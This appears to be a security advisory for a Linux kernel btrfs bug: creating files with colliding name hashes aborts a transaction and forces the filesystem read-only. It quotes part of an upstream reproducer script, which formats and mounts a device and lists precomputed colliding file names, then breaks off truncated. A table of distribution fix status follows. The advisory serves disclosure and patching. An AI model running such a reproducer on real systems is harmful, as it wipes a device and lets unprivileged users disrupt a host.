In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix transaction abort on file creation due to name hash collision
If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities.
Reproducer:
$ cat exploit-hash-collisions.sh #!/bin/bash
DEV=/dev/sdi MNT=/mnt/sdi
# Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT
# List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Debian | — | Upgrade linux | May 10, 2026 | May 10, 2026 |
| Redhat_linux | — | No solution exists | Jul 17, 2026 | May 8, 2026 |
| Ubuntu | — | Upgrade linux-image-realtime-hwe-22.04Upgrade linux-image-oem-20.04dUpgrade linux-image-6.8.0-1059-gke-64kUpgrade linux-image-azure-fips-6.8Upgrade linux-image-azure-fipsUpgrade linux-image-fips-6.8Upgrade linux-image-xilinxUpgrade linux-image-6.8.0-1059-nvidia-lowlatencyUpgrade linux-image-nvidia-64kUpgrade linux-image-ibm-6.8Upgrade linux-image-oracle-64kUpgrade linux-image-6.8.0-136-genericUpgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-generic-64k-6.8Upgrade linux-image-6.8.0-1033-xilinxUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-generic-6.8Upgrade linux-image-azure-lts-24.04Upgrade linux-image-6.8.0-1046-gkeopUpgrade linux-image-aws-fips-6.8Upgrade linux-image-gcpUpgrade linux-image-ibm-classicUpgrade linux-image-oem-22.04cUpgrade linux-image-6.8.0-1061-raspiUpgrade linux-image-aws-64k-6.8Upgrade linux-image-lowlatencyUpgrade linux-image-gcp-fipsUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-awsUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-6.8.0-1030-nvidia-tegraUpgrade linux-image-aws-64k-lts-24.04Upgrade linux-image-6.8.0-136-lowlatencyUpgrade linux-image-oem-20.04bUpgrade linux-image-6.8.0-1059-nvidia-64kUpgrade linux-image-azure-fdeUpgrade linux-image-virtualUpgrade linux-image-gke-64kUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-oracle-64k-6.8Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-6.8.0-1058-oracle-64kUpgrade linux-image-ibmUpgrade linux-image-nvidiaUpgrade linux-image-6.8.0-1059-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-1064-gcp-fipsUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-raspi-realtime-6.8Upgrade linux-image-oem-22.04bUpgrade linux-image-generic-64kUpgrade linux-image-6.8.0-1058-oracleUpgrade linux-image-generic-lpaeUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-oem-20.04cUpgrade linux-image-kvmUpgrade linux-image-raspi-realtimeUpgrade linux-image-6.8.0-1061-aws-fipsUpgrade linux-image-6.8.0-1061-awsUpgrade linux-image-6.8.0-1059-gkeUpgrade linux-image-aws-6.8Upgrade linux-image-oem-22.04aUpgrade linux-image-gkeop-6.8Upgrade linux-image-nvidia-tegraUpgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-realtime-6.8.1Upgrade linux-image-gke-6.8Upgrade linux-image-6.8.1-1056-realtimeUpgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-6.8.0-1063-azureUpgrade linux-image-nvidia-6.8Upgrade linux-image-lowlatency-6.8Upgrade linux-image-xilinx-zynqmpUpgrade linux-image-oem-22.04dUpgrade linux-image-raspiUpgrade linux-image-6.8.0-1059-nvidiaUpgrade linux-image-gkeopUpgrade linux-image-nvidia-tegra-rtUpgrade linux-image-6.8.0-136-lowlatency-64kUpgrade linux-image-6.8.0-1061-aws-64kUpgrade linux-image-oracleUpgrade linux-image-oem-20.04Upgrade linux-image-6.8.0-1064-gcpUpgrade linux-image-intel-iotgUpgrade linux-image-gke-64k-6.8Upgrade linux-image-gcp-64k-6.8Upgrade linux-image-gcp-64kUpgrade linux-image-6.8.0-1062-azure-fdeUpgrade linux-image-6.8.0-1030-nvidia-tegra-rtUpgrade linux-image-realtimeUpgrade linux-image-oracle-6.8Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-136-generic-64kUpgrade linux-image-intel-iot-realtimeUpgrade linux-image-nvidia-tegra-6.8Upgrade linux-image-oracle-lts-24.04Upgrade linux-image-nvidia-tegra-rt-6.8Upgrade linux-image-azure-6.8Upgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-gkeUpgrade linux-image-6.8.0-136-fipsUpgrade linux-image-oem-22.04Upgrade linux-image-aws-lts-24.04Upgrade linux-image-aws-64kUpgrade linux-image-6.8.0-1061-ibmUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-lowlatency-64kUpgrade linux-image-gcp-fips-6.8Upgrade linux-image-laptop-23.10Upgrade linux-image-lowlatency-64k-6.8Upgrade linux-image-gcp-6.8Upgrade linux-image-fipsUpgrade linux-image-6.8.0-2050-raspi-realtimeUpgrade linux-image-6.8.0-1064-gcp-64kUpgrade linux-image-xilinx-6.8Upgrade linux-image-6.8.0-1063-azure-fipsUpgrade linux-image-virtual-6.8Upgrade linux-image-nvidia-lowlatency-64k-6.8Upgrade linux-image-gcp-lts-24.04Upgrade linux-image-aws-fipsUpgrade linux-image-raspi-6.8Upgrade linux-image-azureUpgrade linux-image-genericUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-azure-fde-6.8Upgrade linux-image-nvidia-lowlatency-6.8 | Jul 21, 2026 | Jul 20, 2026 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 6, 2026 | May 8, 2026 |
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